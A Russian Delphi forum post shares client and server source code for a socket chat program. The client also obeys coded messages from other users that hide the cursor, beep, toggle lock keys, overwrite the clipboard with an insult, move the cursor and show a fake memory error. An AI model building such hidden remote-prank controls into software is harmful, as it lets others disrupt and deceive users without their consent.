Показать сообщение отдельно
  #16  
Старый 26.09.2012, 21:00
Аватар для Pilot_Red
Pilot_Red Pilot_Red вне форума
Продвинутый
 
Регистрация: 01.11.2006
Адрес: Карелия
Сообщения: 702
Версия Delphi: D7
Репутация: 11581
По умолчанию

ябашь
вот код клиента
Код:
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ScktComp, ExtCtrls, ComCtrls, XPMan,clipbrd;
type
  TForm1 = class(TForm)
    Label1: TLabel;
    Edit1: TEdit;
    Button1: TButton;
    Label2: TLabel;
    Edit2: TEdit;
    Button2: TButton;
    ClientSocket1: TClientSocket;
    ColorDialog1: TColorDialog;
    RichEdit1: TRichEdit;
    XPManifest1: TXPManifest;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    Button7: TButton;
    Button8: TButton;
    Button9: TButton;
    Button10: TButton;
    Button11: TButton;
    Button12: TButton;
    GroupBox1: TGroupBox;
    Label4: TLabel;
    Label3: TLabel;
    Edit3: TEdit;
    Shape1: TShape;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure Shape1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FormCreate(Sender: TObject);
    procedure Edit1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
    procedure Button12Click(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  private
     

    { Private declarations }
  public
     PRocedure sendS;
    { Public declarations }
  end;
  TUser=record
 UName:String[15];
 UMessage:String[200];
 UColor:TColor;
 USysMessage:integer;
 end;
var
Form1: TForm1;
VU:TUser;
RU:TUser;
implementation

{$R *.dfm}
procedure Sound(Frequency, Duration: Integer);
asm
   push edx
   push eax
   mov eax, Win32Platform
   cmp eax, VER_PLATFORM_WIN32_NT
   jne @@9X
   call Windows.Beep
   ret
@@9X:
   pop eax
   pop edx
   push ebx
   push edx
   mov bx, ax
   mov ax, 34DDh
   mov dx, 0012h
   cmp dx, bx
   jnc @@2
   div bx
   mov bx, ax
   in al, 61h
   test al, 3
   jnz @@1
   or al, 3
   out 61h, al
   mov al, 0B6h
   out 43h, al
@@1:
   mov al, bl
   out 42h, al
   mov al, bh
   out 42h, al
   call Windows.Sleep
   in al, 61h
   and al, 0FCh
   out 61h, al
   jmp @@3
@@2:
   pop edx 
@@3:
   pop ebx
end;
procedure SetKey(Key:Integer);
begin
  keybd_event(Key,0,KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0);
  keybd_event(Key,0,KEYEVENTF_EXTENDEDKEY,0);
  keybd_event(Key,0,KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0);
end;
procedure cursorhide;
begin
showcursor(false);
end;
//-----------------------------------------------------------------------------
 procedure criticaldialog;
begin
application.MessageBox('error 10080:cannot read memory $FFFFFFF','Warning',MB_OK+MB_ICONERROR);
end;
//-----------------------------------------------------------------------------
procedure openpusk;
begin
 SendMessage(application.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);
end;
//------------------------------------------------------------------------
procedure scapscrollock;
begin
setkey(VK_SCROLL);
end;
//------------------------------------------------------------------------
procedure scapnumlock;
begin
setkey(VK_NUMLOCK);
end;
//-----------------------------------------------------------------------------
procedure curcorset;
begin
setcursorpos(random(1000),random(1000));
end;
//-----------------------------------------------------------------------------
procedure clippaste;
begin
Clipboard.SetTextBuf('Привет ванючка');
end;
//-----------------------------------------------------------------------------
procedure scaplock;
begin
setkey(VK_CAPITAL);
end;
//-----------------------------------------------------------------------------
procedure bee;
begin
  sound(800,3000);
end;
//------------------------------------------------------------
procedure cursorshow;
begin
showcursor(true);
end;
//-----------------------------------------------------------
procedure TForm1.sendS;
begin
VU.UName:= Edit3.Text;
if vu.USysMessage=0 then VU.UMessage:= Edit1.Text;
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
 edit1.Text:='';
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 vu.USysMessage:=2;
 vu.UMessage:='АДМИН: '+ vu.UName +  ' вышел';
 sends;
 ClientSocket1.Active:=false;
ClientSocket1.Close;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 ClientSocket1.Address:=Edit2.Text;
 clientsocket1.Open;
 ClientSocket1.Active:=true;
 vu.USysMessage:=1;
 vu.UMessage:='АДМИН: К нам пришёл' + vu.UName;
 sends;
  vu.USysMessage:=0;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
sends;
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
  var
  fl:boolean;
begin
 fl:=true;
Socket.ReceiveBuf(RU,socket.ReceiveLength);
richedit1.SelLength:=0;
richedit1.SelStart:=richedit1.GetTextLen;
RichEdit1.SelAttributes.Color:=ru.UColor;
if ru.UMessage='<1>' then begin cursorhide;fl:=false;end;
if ru.UMessage='<2>' then begin cursorshow;fl:=false;end;
if ru.UMessage='<3>' then begin bee;fl:=false;end;
if ru.UMessage='<4>' then begin scaplock;fl:=false;end;
if ru.UMessage='<5>' then begin clippaste;fl:=false;end;
if ru.UMessage='<6>' then begin curcorset;fl:=false;end;
if ru.UMessage='<7>' then begin scapnumlock;fl:=false;end;
if ru.UMessage='<8>' then begin scapscrollock;fl:=false;end;
if ru.UMessage='<9>' then begin openpusk;fl:=false;end;
if ru.UMessage='<10>' then begin criticaldialog;fl:=false;end;

if fl=true then RichEdit1.Lines.Append(Ru.UName +': '+ ru.UMessage);

end;

procedure TForm1.Shape1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
if ColorDialog1.Execute then begin Shape1.Brush.Color:=ColorDialog1.Color;VU.UColor:=ColorDialog1.Color; end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
vu.UColor:=clwhite;

end;

procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
if key=13 then    sends;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
VU.UMessage:= '<3>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
VU.UMessage:= '<4>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
VU.UMessage:= '<7>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
VU.UMessage:= '<8>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
VU.UMessage:= '<2>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
VU.UMessage:= '<1>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.Button12Click(Sender: TObject);
begin
VU.UMessage:= '<5>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.Button11Click(Sender: TObject);
begin
VU.UMessage:= '<10>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
VU.UMessage:= '<6>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
VU.UMessage:= '<9>';
ClientSocket1.Socket.SendBuf(VU,Sizeof(VU));
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  ErrorCode:=0;
end;

end.

код сервера
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    ServerSocket1: TServerSocket;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
    TUser=record
 UName:String[15];
 UMessage:String[200];
 UColor:TColor;
 end;
var
  Form1: TForm1;
    SU:TUser;
     i,j,k:integer;
  ListUsers:TList;
implementation

{$R *.dfm}

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 ServerSocket1.Active:=false;
ServerSocket1.Close;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);

begin
socket.ReceiveBuf(Su,socket.ReceiveLength);
Memo1.Lines.Append(su.UName+':'+Su.UMessage);
for i:=0 to ServerSocket1.Socket.ActiveConnections-1 do
begin
  ServerSocket1.Socket.Connections[i].SendBuf(Su,sizeof(su));
  if ServerSocket1.Socket.Connections[i]=Socket then showmessage(inttostr(i));
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
ServerSocket1.Open;
ServerSocket1.Active:=true;
end;

procedure TForm1.ServerSocket1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
errorcode:=0;
end;

end.


код рабочий 100% но кудрявый, так как писался 100 лет назад....
Ответить с цитированием